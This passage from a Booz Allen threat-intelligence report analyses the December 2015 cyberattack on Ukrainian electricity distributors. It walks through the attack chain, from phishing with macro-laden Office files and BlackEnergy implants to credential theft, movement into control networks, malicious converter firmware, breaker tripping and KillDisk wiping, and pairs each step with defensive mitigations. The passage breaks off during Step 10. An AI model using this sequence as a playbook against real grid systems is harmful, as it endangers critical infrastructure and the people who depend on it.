control systems. This report details the step-by-step process the actors took and seeks to highlight the opportunities for detection and prevention across the various steps of the attack. Combining opensource intelligence analysis of the attack and malware analysis of the tools used by the threat actors in their operation, we break down the integration of both human interaction and malware-executed processes as components of the December 2015 events. This Booz Allen report expands on previous incident analysis published in spring 2016, going beyond by including additional detail about the attack chain based on malware execution, a more detailed mapping of targeted and affected infrastructure, and a much wider view on similar and potentially related Black Energy (BE) campaigns against Ukrainian infrastructure. This report provides a highly accessible and factual account of the incident. By providing this comprehensive view of the events, this report provides operators, plant managers, chief information security officers, and key industrial security decision makers a view of how an attack could be conducted against their networks and infrastructure, and more importantly some advice on how to mitigate attacks such as these in the future. This attack was exceptionally well organized and executed, but the tools necessary to mitigate and minimize the impact of an attack such as this are not difficult to implement. By implementing a well-designed defense-in-depth protection strategy, industrial network and ICS/SCADA defenders can effectively address the threats facing their organizations. This report highlights the important components this strategy ought to include, based on the methods used in the Ukraine attack. Despite early reporting indicating that disruptions in Brazil s electrical grid in 2007 were the result of a cyberattack, further investigation ultimately attributed the blackouts to inadequate maintenance. www.boozallen.com/ICS INTRODUCTION Shortly before sunset on December 23, 2015, hackers remotely logged into workstations at a power distribution company in western Ukraine, clicked through commands in the operators control system interface, and opened breakers across the electrical grid one by one. Before they were finished, they struck two more energy distribution companies, in rapid succession, plunging thousands of businesses and households into the cold and growing darkness for the next six hours.2 These attacks were not isolated incidents, but the culmination of a yearlong campaign against a wide range of Ukrainian critical infrastructure operations. In addition to three energy distribution companies, Prykarpattyaoblenergo,3 Kyivoblenergo, 4 and Chernivtsioblenergo,5 threat actors had also previously targeted several other critical infrastructure sectors, including government, broadcast media, railway, and mining operators. The attacks in Ukraine were a watershed moment for cybersecurity; for the first time, malicious cyber threat actors had successfully and publicly disrupted energy-grid operations, causing blackouts across multiple cities. The power outage was also one of the few known cyberattacks against a supervisory control and data acquisition (SCADA) system, a type of system critical to automation in many sectors, including transportation, manufacturing, heavy industry, and oil and gas. This report details the actions threat actors took in each step of the attack, including an analysis of associated malware and other identified indicators of compromise (IoC). This report also includes, as an appendix, detailed technical analysis of the associated malware s function and use. By tracing this attack from early exploration and target identification to turning the lights out on Ukrainian cities, this report serves as an aid to the security professionals charged with securing industrial control systems (ICS) and is equally relevant across a range of other critical infrastructure sectors. By understanding the current tactics, techniques, and procedures (TTP) that the threat actors used in this attack, and those that are most likely to be used against ICS systems in the future, security professionals can use this case study to plan for future threats against their own systems. Though this attack targeted operators in the electricity distribution sector, the TTPs illustrated in this attack are applicable to nearly all ICS sectors including oil and gas, manufacturing, and transportation. A reconnaissance campaign against US ICS operators in 2011 2014 using the same malware family deployed across Ukraine critical infrastructure raises the urgency of understanding this disruptive Ukrainian attack. ADDRESSING THE THREAT In a series of unique, discrete steps, the threat actors deployed malware; gained access to targeted corporate networks; stole valid credentials; moved into the operators control environment; identified specific targets; and remotely disrupted the power supply. Each task was a missed opportunity for defenders to block, frustrate, or discover the attackers operations before they reached their final objectives. INDUSTRIAL SECURITY THREAT BRIEFING This attack on Ukraine s electric grid is the most damaging of the increasingly common attacks against ICS systems. ICS operators reported more security incidents in 2015 than in any other year. Complementing the detailed, procedural analysis provided in this report, Booz Allen Industrial Security Threat Briefing provides a broader perspective on the cyber threat landscape ICS operators face. The Industrial Security Threat Briefing includes an overview of the emerging tactics and active threat actors observed in 2015 and 2016, as well as the threats most likely to affect ICS operators in the coming years. The report is available at http://www.boozallen.com/ insights/2016/06/industrialcybersecurity-threat-briefing. The Ukraine incident also demonstrates that no single mitigation can prevent an attack s success. The attackers followed multiple avenues to eventually overcome challenges and move onto the attack sequence s next components. The most effective strategy for repelling complex attacks, therefore, is defense in depth. Layering defenses can raise the adversary s cost of conducting attacks, increase the likelihood of detection by a network defender, and prevent a single point of failure. All mitigation techniques, from www.boozallen.com/ICS Acknowledgments Several in-depth reports have been released, each covering a different facet of the December 2015 attacks in Ukraine. The SANS Institute, in partnership with the Electricity Information Sharing and Analysis Center (E-ISAC),6 as well as the US Department of Homeland Security National Cybersecurity and Communications Integration Center (NCCIC)7, have both produced detailed reports covering the incident. Security researchers at F-Secure8 and ESET9 have conducted extensive analysis of the BlackEnergy malware, and reporting produced by Cys-Centrum10 and Trend Micro11 have sought to lay out the common ties across the string of similar, and likely related, cyber attacks against Ukrainian critical infrastructure. Each of these accounts provides a different piece of the larger picture, which this report lays out. Booz Allen Hamilton architectural segmentation and network monitoring, to access control and threat intelligence, should be complementary efforts in a widereaching process and network defense strategy that aims to protect the environment, making it so difficult, expensive, or time consuming that it ultimately deters the attacker. OUR RESEARCH METHODOLOGY Though the attacks against Ukraine s electrical grid in December 2015 have been discussed widely in public reporting, this report seeks to build upon the analysis to provide a more comprehensive account. By analyzing the malware tools used in the attack and using open-source intelligence gathering, this report seeks to tie together the wide body of existing information on this event and fill the gaps in other reports. This report leverages an extensive analysis of publicly reported data on the attack, as well as our own deep-dive technical analysis of recovered malware samples used in the attack. Public reporting on the incident and related attack data was collected manually or through automated searches on publicly accessible internet sites. The sources included, but were not limited to, English and foreign language media, advisories and alerts from US and foreign government cybersecurity organizations, and analysis by independent security researchers. References to IoCs and other attack data were used to identify related incidents, then analyze and integrate their findings with this attack. Analysis of public reporting was complemented with a thorough technical analysis of recovered malware samples used in the December 2015 attacks against the electrical distributors, as well as samples from related attacks. Our technical analysis was used to verify, corroborate, and expand on existing reports detailing threat actor activity leading up to and during the incident. Experienced reverse engineers used disassembler and debugger software to navigate through the malware code to identify its capabilities and unique characteristics. Reverse engineers used both static and dynamic analysis, allowing them to see how the malware behaves on a system with the freedom to run in a debugger in order to force or bypass certain conditions, thereby allowing the malware to take multiple paths. By recording system changes made by the malware, the reverse engineers were able to gather key data needed to identify further system infections, as well as potential mitigations. This investigation also emphasized analyzing the recovered samples within the context of their broader malware family. Using YARA, a tool to identify binary or textual signatures within malware, analysts pivoted to new samples in an effort to identify new capabilities and different variants of the malware. This comprehensive report completes the view of the attack sequence for this incident. A REGIONAL C A MPA IGN Our research and analysis of the December 2015 blackout showed that the attack against Ukraine electricity grid was not an isolated incident, but in fact a continuation of a theme of a steady, deliberate attacks against Ukraine s critical infrastructure. This long-running campaign likely reflects a significant, concerted effort by a single threat actor with a well-organized capability and interest in using cyberattacks to undermine Ukraine s socio-political fabric. Each of the attacks used a common set of TTPs that had been used in earlier incidents in the previous months, detailed in Exhibit 1. To put the December 2015 attack in context, our research uncovered an additional 10 related attacks, the last of which occurred in January 2016. Exhibit 1 shows the timing, techniques and target sectors in this 18-month campaign. www.boozallen.com/ICS EXHIBIT 1. CYBER THREAT LANDSCAPE IN UKRAINE 2016 2015 June July August September October November December January February March April June July August September October November December January February March 2014 Electricity Sector Railway Sector 10 11 Television Sector Mining Sector Regional Government/ Public Archives Attack Tools Phishing MS Office Malicious VBA Other Weaponization BlackEnergy Other RAT KillDisk Gained Access Booz Allen Hamilton Data Destruction Physical Impact Undisclosed May 2014 (Electricity) On May 12, 2014, threat actors targeted Ukrainian electricity distributor Prykarpattyaoblenergo in a phishing campaign using weaponized Microsoft (MS) Word documents.12 The threat actors forged the sender addresses and modified the weaponized MS Word attachments with a malicious PE-executable file inserted into the icon image associated with file.13 May 2014 (Railway) On May 12, 2014, threat actors targeted all six of Ukraine s state railway transportation system operators in a phishing campaign using weaponized MS Word documents.14 The threat actors forged the sender addresses and modified the weaponized MS Word attachments with a malicious PE-executable file inserted into the icon image associated with file.15 August 2014 (Ukrainian Regional Government, Archives) In August 2014, threat actors began a wide-reaching phishing campaign using weaponized MS Power Point files. The weaponized files exploited a zero-day vulnerability (CVE-2014-4114) to deliver BlackEnergy Malware to targeted systems.16,17 Targets included five Ukrainian regional governments, and the state archive of Chernivtsi Oblast, one of the three oblasts targeted in the December 2015 Electricity distributor attacks.18,19 March 2015 (Media) In early March 2015, threat actors conducted a phishing campaign against Ukrainian television broadcasters, using weaponized MS Excel and MS PowerPoint documents 1.xls and 2.pps).20 The weaponized documents contained malicious Visual Basic Application (VBA) and JAR files designed to drop BlackEnergy malware on targeted systems.21 March 2015 (Electricity) In late March 2015, threat actors conducted a phishing campaign targeting electricity operators in western Ukraine using the weaponized MS Excel file ( 1.xls) used earlier that month against broadcast media targets. As with the earlier attack, the file included a malicious macro designed to install BlackEnergy.22 March 2015 (State Archives) Also in late March 2015, threat actors targeted Ukrainian state archives in phishing attacks using the same weaponized MS Excel file ( 1.xls), malicious macro, and BlackEnergy malware.23 October 2015 (Television Broadcast) On October 24 and October 25, 2015, Ukrainian election day, threat actors used KillDisk malware to destroy video data and server hardware, and render employee workstations inoperable at multiple Ukrainian television broadcasters.24,25 Targeted systems were found to be infected with the same BlackEnergy and KillDisk samples observed in attacks against a railway operator, mining company, and electricity distributors in November and December 2015. Investigation of the incident indicated access to the network was established May 2015.26 8. November December (Railway) In November December 2015, an undisclosed Ukrainian Railway firm, operating under the Ukrainian State Administration of Railway Transport, was targeted in a cyberattack using BlackEnergy and KillDisk malware.27 The method for establishing initial access to targeted networks was not disclosed. 9. November December 2015 (Mining) In November December 2015, an undisclosed Ukrainian Mining firm was targeted in a cyberattack using BlackEnergy and KillDisk malware.28 The method for establishing initial access to targeted networks was not disclosed. 10. December 2015 (Electricity) On December 23, 2015, threat actors opened breakers and disrupted electricity distribution at three Ukrainian firms: Prykarpattyaoblenergo, Kyivoblenergo, and Chernivtsioblenergo. Full details of this attack are included in the Attack Walk Through section of this report. 11. January 2016 (Electricity) On January 19 and 20, 2016, threat actors targeted approximately 100 organizations, including many Ukrainian energy firms,29 in a phishing campaign.30 The malicious emails were designed to look as though they were sent by Ukrainian energy distributor NEC Ukrenergo.31 The emails included a weaponized MS Excel document, which prompted users to enable macros; once enabled, a malicious VBA script installed GCat, an open-source, python-based trojan which disguises communications with the command-and-control (CC) server as Gmail email traffic.32 BLACKENERGY MALWARE BlackEnergy is a remote-access trojan designed to provide unauthorized access to targeted networks via an HTTP connection with an external server. Its modular design allows it to accept additional plugins to carry out specific functions, such as stealing credentials or conducting network reconnaissance. www.boozallen.com/ICS ATTRIBUTION Though the Security Service of Ukraine (SBU) immediately implicated Russia in the attack,33 there is no smoking gun which irrefutably connects the December 2015 attacks in Ukraine to a specific threat actor. The limited technical attribution data, such as the attackers using a Russia-based Internet provider and launching the telephony denial-of-service (TDoS) flood traffic from inside Russia,34 point to Russian threat actors, though this evidence is not conclusive unto itself. Some inferences can be made based on the history of the tools used, how the attack was carried out, and the outcomes that were achieved. Cybercriminal organizations and state-backed groups are often the most wellresourced, organized, and technically advanced cyber threat actors. BlackEnergy first emerged as a DDoS tool in 200735 and has a history of use by criminal organizations. The most notable criminal operation was a series of attacks in 2011 against Russian and Ukrainian banks, in which criminals used BlackEnergy 2 to steal online credentials and obfuscate the attacks with distributed denial-of-service (DDoS) floods.36 Despite these criminal roots, BlackEnergy often rears its head in attacks with particular political significance, typically targeting organizations and countries with adversarial relations with Russia. In 2008, during Russia s conflict with Georgia, Georgian networks were bombarded with a DDoS attack by a botnet constructed with the first iteration of BlackEnergy, and controlled by CC Booz Allen Hamilton servers hosted on Russian state-owned companies.37,38 BlackEnergy was also used in June 2014, targeting a French telecommunications firm, by a group known to conduct cyberattacks against NATO, Western European governments, and several regional Ukrainian governments.39,40,b In addition, the KillDisk malware, used in conjunction with BlackEnergy, was first observed in a data destruction attack against servers operated by several Ukrainian news outlets on October 24 2015, Ukraine s election day. 41 As security researchers have pointed out, the overlap in usage of the malware by multiple groups, including criminal organizations, would be convenient for a state-backed group as this provides a degree of plausible deniability. 42 As noted above though, the targets selected in previous campaigns using BlackEnergy often align to Russian political interests. Furthermore, the activity associated with the December 2015 attack does not appear to align to a criminal organization s likely goal of financial gain. Threat actors invested significant resources in establishing, maintaining, and expanding persistent access on targeted networks for nearly a year. They conducted extensive network reconnaissance, likely developed malicious firmware, familiarized themselves with the native control environment, and then ultimately revealed their presence in a destructive attack. The extensive resources invested, and no apparent financial return, indicate the attackers likely objective was to use the attack to send a message. Reporting did not specify whether if used BlackEnergy malware was used in the attacks against NATO or other European government targets. INTENT Several plausible theories that have been proposed may explain the threat actor s motivations for conducting the attacks, as well as its timing, target, and impact. It is possible that the adversary was motivated by several of the posited theories, though the attack was probably designed to send a message to the Ukrainian government, rather than gain a lasting benefit. CONVEY DISPLEASURE WITH PLANS TO NATIONALIZE RUSSIAN-OWNED ASSETS One theory that has circulated in cybersecurity circles is that the attackers may have intended to convey displeasure with a Ukrainian proposal43,44 to nationalize assets owned by Russia and its citizens. 45 The policy would have harmed influential Russian oligarchs with investments in Ukraine s energy sector. For example, Alexander Babakov a senior member of Russia s national legislature and a current target of EU sanctions46 is a main shareholder in VS Energy. It is one of the largest electricity distributors in the Ukrainian market, with ownership stakes in nine of the 27 oblenergos and a 19-percent electricitydistribution market share, as of 2010. 47 Based on available evidence, however, we find the theory unconvincing. The timing of the attack and the particular target made it an unlikely symbolic target for expressing a position on nationalization. Discussions about nationalizing Russian assets had not been a headline issue since the spring of 2015, more than six months before the disruption; the lack of temporal proximity between the two events blurred or watered down the symbolic value of the attack vis- -vis nationalization. POLITICAL DESTABILIZATION; CULTIVATE GENERAL FEAR AND DISCONTENT Another possible objective was to destabilize Ukraine politically. As indicated above, a wide swath of Ukrainian organizations were caught in the attacker s larger collection of networks compromised with BlackEnergy, including targets in the railway, mining, broadcast media and government sectors. 48 This trend indicates the objective may have been to disrupt a critical service provider or critical industry, rather than an energy company specifically. By disrupting operations in critical infrastructure, the threat actors may have sought to reduce confidence in the Ukrainian government. This strategy would be consistent with Russia s information warfare doctrine, which seeks to sow discontent in a target country or region in order to induce political and economic collapse. 49 boozallen.com/ics IN-KIND RETALIATION Another possible objective may have been in-kind retaliation for perceived Ukrainian disruptions of electricity to Crimea. On November 21 22, 2015, Crimea lost power for more than six hours due to physical attacks on four pylons carrying transmission wires.50 The identity of the saboteurs has not been publicly determined, but they are rumored to be Ukrainian nationalists.51 Crimea is reliant on Ukraine, as the country supplies about 70 percent of Crimea s power.52 Russia intends to obviate this risky reliance by constructing a new energy bridge between Crimea and Russia, which will be able to supply 70 80 percent of Crimea s power needs.53 If this was the objective in the attack, it would indicate that Russia may actively seek to gain footholds in critical services providers with the intention to execute attacks at strategically useful times. This would be consistent with similar attacks against critical infrastructure in other adversarial nations in Western Europe54 and the US55 that have been attributed to Russia. Booz Allen Hamilton OUTLOOK While politically motivated cyberattacks are not a novel foreign policy tool, the industries and organizations that serve as potential targets are expanding. Cyberattacks present a powerful political tool, particularly those against critical infrastructure providers. Industrial control systems operators are not above the fray in geopolitical rows, and may in fact be the new primary target. AT TA C K WA L K THROUGH The attack walk through provided in this report is informed by analytical frameworks published by cybersecurity industry organizations,56,57 as well as proprietary methods for conducting opensource intelligence analysis and technical malware analysis. To provide as complete a picture as possible for this report, as with other reporting on this incident, some inferences on the threat actors most likely method were required, as there does not exist a complete accounting of all actions the threat actors took in their campaign. Wherever possible, inferences were based on confirmed technical evidence, such as identified malware capabilities and known hardware and software vulnerabilities. This section provides the step-by-step walk through of threat actor activity during the attack. Each step includes a high-level description, as well as a feature summary of the step with eight descriptors. The eight descriptors are as follows: Location: This describes the network on which the activity occurred, including preparatory activity conducted outside of the targeted networks (listed external infrastructure ), as well as the logically or physically separated corporate network or network operated by the electricity distributors. Action: The December 2015 attacks were achieved using a combination of direct threat actor manipulation of systems deployed by the electricity distributors, as well as malware-executed tasks. Active threat actor activity highlights tasks that involved hands-on-keyboard interactions with systems deployed on the electricity distributor network. Malware execution highlights tasks completed by functions built into the malware tools used by threat actors.c Timeline: This section provides the timeframe in which the step most likely occurred. This includes specific, known dates, as well as ranges of time defined by known threat actor activities. Device/application: This section lists the device or application targeted or exploited by threat actors in the step. Wherever possible, specific model information is provided; in instances in which the model or application details were not found in open sources, analysts made assessments based on available evidence, such as operating system (OS) or application-specific services targeted by the reported malware. For the steps detailing preparatory tasks conducted external to the electricity distributors networks, activity conducted external to network is listed rather than the targeted device or application. Role in infrastructure: This section details the function of the targeted device or application within the electricity distributors network. Activity conducted external to network listed for preparatory activities conducted on external infrastructure. Exploitation method: This section includes a summary of the method used by threat actors to complete the step. Impact: This section includes a brief summary of the capability achieved by threat actors, or any disruption or destruction of systems operated by the targeted operator, upon completion of the step. Booz Allen s recommended mitigations: This section provides the technical or procedural security measures that would help prevent or limit the impact of the activities associated with the step. One step required employees to actively grant permissions that enabled the malware to execute. Another step manipulated a task scheduling service available on the targeted network. boozallen.com/ics EXHIBIT 2. WALK THROUGH OF THREAT ACTOR ACTIVITY, STEPS 1 THROUGH 9 External Infrastructure Corporate Network Network Share Attack Package BlackEnergy Malware Plugin Phishing Email, Weaponized File Workstation Data Center Workstation Steps 1 Telephone Server Step 1: Reconnaissance and Intelligence Gathering. Prior to the attack, threat actors likely Automatedbegin open-source intelligence gathering and reconnaissance on potential targets. Domain TDoS VPN Server Controller System Step 2: Malware Development and or Gateway Server Weaponization. Threat actors acquire or Call Center independently develop the malware to be used in the attack, as well as the weaponized documents to deliver the malicious files. Step 3: Deliver Remote Access Trojan (RAT). Threat actors initiate phishing campaign against electricity distributors. Step 4: Install RAT. Threat actors successfully CC Servers install BlackEnergy 3 on each of the three targeted electricity distributors after employees open the weaponized MS Office email attachments and enable macros. Step 5: Establish Command-and-Control ICS Network (CC) Connection. Malware establishes Control Center connection from malicious implant on targeted HMI Workstation network to attacker-controlled command-and-control (CC) server. Step 6: Deliver Malware Plugins Server Valid VPN Server Following installation of BlackEnergy 3 implant, threat Credential or Gateway actors likely import plugins to enable credential DMS Client Application harvesting and internal network reconnaissance. Step 7: Harvest Credentials. Delivered BE3 malware plugins conduct credential harvesting and Networked Substation network discovery functions. Step 8: Lateral Movement and Target Identification on Corporate Network. Threat actors conduct internal reconnaissance on corporate Converters Converters Converters network to discover potential targets and expand access.d Breakers Breakers Breakers Step 9: Lateral Movement and Target Identification on ICS network. Threat actors use stolen credentials to access the control environment and conduct reconnaissance on deployed In this step, the threat actors are not passing through the Domain Controller server in their lateral movements across systems. the network, as they would, for example, a VPN gateway. In accessing the Domain Controller they are retrieving, or making, valid user credentials to enable expansive access across the corporate network and pivoting into the ICS network. The actual movement and network exploration would follow this compromise, would be conducted using the stolen credentials, and would occur on many machines across the network. Booz Allen Hamilton In addition to the high-level summary of each step provided in this section, each step has a corresponding textual summary provided in Appendix A. This textual summary provides the detailed overview of the evidence relating to each step, including citations for all referenced material and explanations of analyst assessments. RECONNAISSANCE STEP 1: RECONNAISSANCE AND INTELLIGENCE GATHERING Prior to the attack, threat actors likely begin open-source intelligence gathering and reconnaissance on potential targets. Location: External infrastructure Utilize open-source tools, such as Shodan, to monitor your organization s external IP address range for unexpected Internet-facing devices. Pay special attention to identified devices with common ICS ports, such as Modbus (502) or EtherNet/IP (44818). Maintain a detailed inventory of all assets and communication paths to develop an understanding of potential external attack vectors. Asset inventories should cover both equipment and applications, and should include such details as MAC ID, IP address, and firmware version, to prevent rogue network connections or modifications to network devices. Actively monitor perimeter network security devices to identify active reconnaissance techniques, such as port scanning. Action: Active threat actor activity Timeline: May 2014 or earlier WEAPONIZATION Device/application: Activity conducted external to network STEP 2: MALWARE DEVELOPMENT AND WEAPONIZATION Role in infrastructure: Activity conducted external to network Exploitation method: Threat actors likely gather publicly available information on deployed systems and network architecture, and may also use active discovery methods such as scanning of perimeter devices. Impact: Threat actors gather targeting data on personnel and network infrastructure for use in future attacks. Booz Allen s recommended mitigations: Implement information classification program to categorize critical system information that could be used by a threat actor. Sensitive information such as this should have restricted distribution and not be publicly available. Utilize open-source intelligence gathering to identify publicly accessible information on the organization or personnel that could be used by threat actors in social engineering attacks. Threat actors acquire or independently develop the malware to be used in the attack, as well as the weaponized documents to deliver the malicious files. Location: External infrastructure Action: Active threat actor activity Timeline: May 2014 or earlier Device/application: Activity conducted external to network Role in infrastructure: Activity conducted external to network Exploitation method: Threat actors acquire BlackEnergy remote access trojan (RAT), and weaponize Microsoft (MS) Word and Excel files with VBA scripts to drop the BlackEnergy RAT. Impact: Combined with targeting data gathered during the reconnaissance phase, threat actors are able to develop tailored attack packages. At the completion of this step, threat actors have all the necessary tools to begin their attack. boozallen.com/ics Booz Allen s recommended mitigation: Implement application whitelisting to prevent unknown files from being executed and apply sandboxing to non-critical applications in order to reduce unintended modifications. DELIVERY STEP 3: DELIVER RAT Threat actors initiate phishing campaign against electricity distributors. Location: Corporate network Action: Active threat actor activity should review any reports, perform malware analysis, and extract an indicator of compromise (IOC) to identify any infections on the organization s network. Use a network-based antivirus solution to detect and prevent known malware from entering the organization s network. Install and configure an anti-spam solution to screen incoming emails for suspicious content or abnormal senders. Subscribe to and monitor threat intelligence sources to be aware of ongoing campaigns. This information can be used to focus defense efforts and search for IOCs. Timeline: May 2014 June 2015 e Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communications and other IT services used in business operations. Exploitation method: Threat actors send innocuous-looking emails containing the modified MS Office files as attachments to users on targeted networks. This tactic is known as phishing. Impact: RAT is delivered to targeted network, but not installed. Installation requires employees to actively grant permission to the embedded VBA scripts to execute. Booz Allen s recommended mitigations: Implement a position-specific cybersecurity awareness training program to ensure employees understand the organizational risks associated with cyberattacks and how to identify social engineering techniques such as phishing. Establish a Computer Incident Response Team (CIRT) and ensure all employees are aware that suspicious emails or attachments should be forwarded here for investigation. The CIRT Booz Allen Hamilton EXPLOITATION AND INSTALLATION STEP 4: INSTALL RAT Threat actors successfully install BlackEnergy 3 on each of the three targeted electricity distributors after employees open the weaponized MS Office email attachments and enable macros. Location: Corporate network Action: Employee-enabled malware execution Timeline: May 2014 June 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communications and other services used in business operations. Exploitation method: In a social engineering attack, employees are prompted to enable macros when opening the file attached to phishing email. Once macros are enabled, the VBA script places multiple malicious files on the workstation, unbeknown to the employee. Impact: Files placed on workstations within the corporate network can begin the communication process with external CC servers. Ukrainian Deputy Energy Minister noted access was gained at least six months prior to the final attack. Earliest observed phishing attack matching TTP against electricity distributor was May 2014. Booz Allen s recommended mitigations: Implement application whitelisting to prevent unknown files from being executed. Use host-based antivirus software to detect and prevent known malware from infecting organization systems. Set script execution policy to allow only signed VBA scripts and macros to be run. COMMAND AND CONTROL STEP 5: ESTABLISH CC CONNECTION Malware establishes connection from malicious implant on targeted network to attacker-controlled CC server. Location: Corporate network Action: Malware execution Timeline: May 2014 June 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communications and other services used in business operations. Exploitation method: The external connection is established as part of the execution routine following installation of the malicious files. Once permissions to execute macros are granted by employees, the malicious VBA script installs the malware implant, and the implant attempts to communicate with an external server via HTTP requests. Impact: Threat actors gain unauthorized access to targeted networks, including the ability to deliver additional BlackEnergy plugins to enable internal network reconnaissance and credential harvesting. Booz Allen s recommended mitigations: Configure firewall ingress and egress traffic filtering to block anomalous incoming and outgoing network communications. Blacklist known malicious IP addresses and monitor for any form of network communications to these addresses. ACTION ON OBJECTIVES: INTERNAL RECONNAISSANCE AND LATERAL MOVEMENT STEP 6: DELIVER MALWARE PLUGINS Following installation of BlackEnergy 3 implant, threat actors likely import plugins to enable credential harvesting and internal network reconnaissance. Location: Corporate network Action: Active threat actor activity Timeline: June 2015 December 2015 Device/application: Employee workstations, likely using MS Windows OS and provisioned with MS Internet Explorer web browser Role in infrastructure: Support email communications and other services used in business operations Exploitation method: The BlackEnergy 3 implant delivered in the initial attack functions as a receiver for additional malware plugins. After establishing a remote connection with delivered files via HTTPS, the threat likely delivers the additional malware components. Impact: The delivered plugins enable additional BlackEnergy functionality, including harvesting user credentials, keylogging, and network reconnaissance. boozallen.com/ics Booz Allen s recommended mitigations: Implement application whitelisting to prevent unknown files from being executed. Configure firewall ingress and egress traffic filtering to block anomalous incoming and outgoing network communications. Blacklist known malicious IP addresses and monitor for any form of network communications to these addresses. Use host-based antivirus software to detect and prevent known malware from infecting organization systems. STEP 7: HARVEST CREDENTIALS Delivered BlackEnergy 3 malware plugins conduct credential harvesting and network discovery functions. Location: Corporate network Action: Active threat actor activity, malware execution Timeline: June 2015 December 2015 Device/application: Windows OS workstations, Windows domain controllers, virtual private network (VPN) service deployed in control environment Role in infrastructure: These systems support business operations, manage permissions and domain access, and provide remote network access respectively. Exploitation method: Threat actors use delivered BlackEnergy 3 plugins to gather stored credentials or log keystrokes. After gathering valid credentials for user with administrator privileges, threat actors use the stolen administrator credentials to access the domain controller, recover additional credentials, and create new privileged accounts. Impact: Threat actors obtain valid credentials enabling them to expand access across the corporate network and into the control environment, ensure persistent access, and blend into regular network traffic. Booz Allen Hamilton Booz Allen s recommended mitigations: Implement centralized logging and monitor audit logs for unusual logins or use of administrative privileges (e.g., abnormal hours, unsuccessful login attempts). Establish a baseline of user domain and local accounts and monitor for any account additions or privilege escalations outside of the organization s approved workflow. Implement least privilege policies across all systems to ensure administrative accounts are properly restricted and assigned to only those who require them. STEP 8: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON CORPORATE NETWORK Threat actors conduct internal reconnaissance on the corporate network to discover potential targets and expand access. Location: Corporate network Action: Active threat actor activity, malware execution Timeline: June 2015 December 2015 Device/application: Discovered systems, including networked uninterruptable power supply (UPS) devices, data center servers, a telephone communications server, and employee workstations Role in infrastructure: Internal reconnaissance efforts could potentially include all deployed devices on the corporate network. Exploitation method: Threat actors likely use a combination of valid user credentials and BlackEnergy 3 plugins developed to conduct network discovery. VS.dll plugin is likely used to leverage MS Sysinternals PsExec to establish remote connections to workstations and servers. Impact: Threat actors are able to enumerate the systems deployed across the network, identify targets, and begin preparations for final attack. Booz Allen s recommended mitigations: Implement active network security monitoring to identify anomalous network behavior. Ensure network is appropriately segregated to inhibit lateral movement. Monitor audit logs for unusual logins or use of administrative privileges (e.g., abnormal hours, unsuccessful login attempts). Establish production honeypots spread throughout the network to alert on any attempts to login or access files. These honeypot systems have no intentional purpose, and any attempt to access them is a notable security alert. STEP 9: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON ICS NETWORK Threat actors use stolen credentials to access the control environment and conduct reconnaissance on deployed systems. Location: ICS network Action: Active threat actor activity Timeline: June 2015 December 2015 Device/application: Discovered systems, including human machine interface (HMI) workstations, distributed management system (DMS) servers, UPS devices,58 serial-to-Ethernet converters (Moxa UC 7408-LX-Plus,59 IRZRUH2 3G60), remote terminal unit (RTU) devices (ABB RTU560 CMU-02), and the substation breakers Role in infrastructure: HMI workstations provide a graphical user interface for operators to remotely monitor and control devices within the control environment. DMS applications enable centralized monitoring and issuing of commands within a control environment. UPS devices condition incoming power to downstream devices and provide temporary battery backup power. Serial-to-Ethernet converters convert serial data from field devices to digital packets, enabling communications with the control center. RTU devices function as a communication processor or a data concentrator in a substation, enabling communications and data transfer between field devices in the substations and the control center. Substation breakers are devices designed to physically interrupt current flows through an electrical circuit. Exploitation method: Threat actors use valid credentials to interact directly with the client application for the DMS server via a VPN, and native remote access services to access employee workstations hosting HMI applications. This access likely enables threat actors to enumerate all networked devices within the control environment. Impact: Threat actors gain access to critical systems, enabling them to begin target selection and preparations for final attack. Booz Allen s recommended mitigations: Install and configure a stateful firewall or data diode device between the corporate network and ICS network. Configure an ICS network demilitarized zone (DMZ) and prohibit any direct traffic between the corporate and ICS networks. All traffic between these domains should be heavily controlled through the use of proxies and be actively monitored. Any access to systems within the control system DMZ should require the use of two-factor authentication. Implement network segregation of control system components within the ICS network using zone and conduit techniques. Use industrial firewalls between these network segments whereby only specified traffic can enter and exit. All traffic outside of what is explicitly allowed should trigger an alert. Take advantage of the predictability in control system traffic by establishing a baseline of normal ICS network communications and conduct active monitoring for anomalies. boozallen.com/ics EXHIBIT 3. WALK THROUGH OF THREAT ACTOR ACTIVITY, STEPS 10 THROUGH 17 External Infrastructure Attack Package Corporate Network Workstation Data Center Network Share Malicious Firmware KillDisk Disruption VPN Server or Gateway Domain Controller Server Workstation Steps 10 Telephone Server Automated TDoS System Call Center Valid Credential CC Servers ICS Network Control Center HMI Workstation Valid Credential Server VPN Server or Gateway Networked Substation DMS Client Application Converters Converters Converters Breakers Breakers Breakers Booz Allen Hamilton Step 10: Develop Malicious Firmware. Threat actors develop malicious firmware update for identified serial-to-Ethernet converters. Step 11: Deliver Data Destruction Malware. Threat actors likely deliver KillDisk malware to network share and set policy on domain controller to retrieve malware and execute upon system reboot. Step 12: Schedule Uninterruptable Power Supply (UPS) Disruption. Threat actors schedule unauthorized outage of UPS for telephone communication server and data center servers. Step 13: Trip Breakers. Threat actors use native remote access services and valid credentials to open breakers and disrupt power distribution to over 225,000 customers within three distribution areas. Step 14: Sever Connection to Field Devices. After opening the breakers, threat actors deliver malicious firmware update to serial-to-Ethernet communications devices. The malicious updates render the converters inoperable, and sever connections between the control center and the substations. Step 15: Telephony Denial-of-Service Attack. Threat actors initiate DoS attack on telephone call center at one of the targeted distributors. Step 16: Disable Critical Systems via UPS Outage. Previously scheduled UPS outage cuts power to targeted telephone communications server and data center servers. Step 17: Destroy Critical System Data. Scheduled execution of KillDisk malware erases the master boot records and deletes system log data on targeted machines across the victims corporate and ICS network. ACTION ON OBJECTIVES: ATTACK PREPARATION STEP 10: DEVELOP MALICIOUS FIRMWARE Threat actors develop malicious firmware update for identified serial-to-Ethernet converters. Location: External infrastructure Action: Active threat actor activity Timeline: June 2015 December 2015 Device/application: Activity conducted external to network Role in infrastructure: Activity conducted external to network Exploitation method: After identifying deployed converts, threat actors begin a malware development and testing effort on infrastructure outside of the targeted network. Impact: Upon completion of this step, threat actors would have target-specific malware designed to disrupt communications with field devices by disabling deployed converters. Booz Allen s recommended mitigations: Implement information classification program to categorize critical system information that could be used by a threat actor. Sensitive information such as this 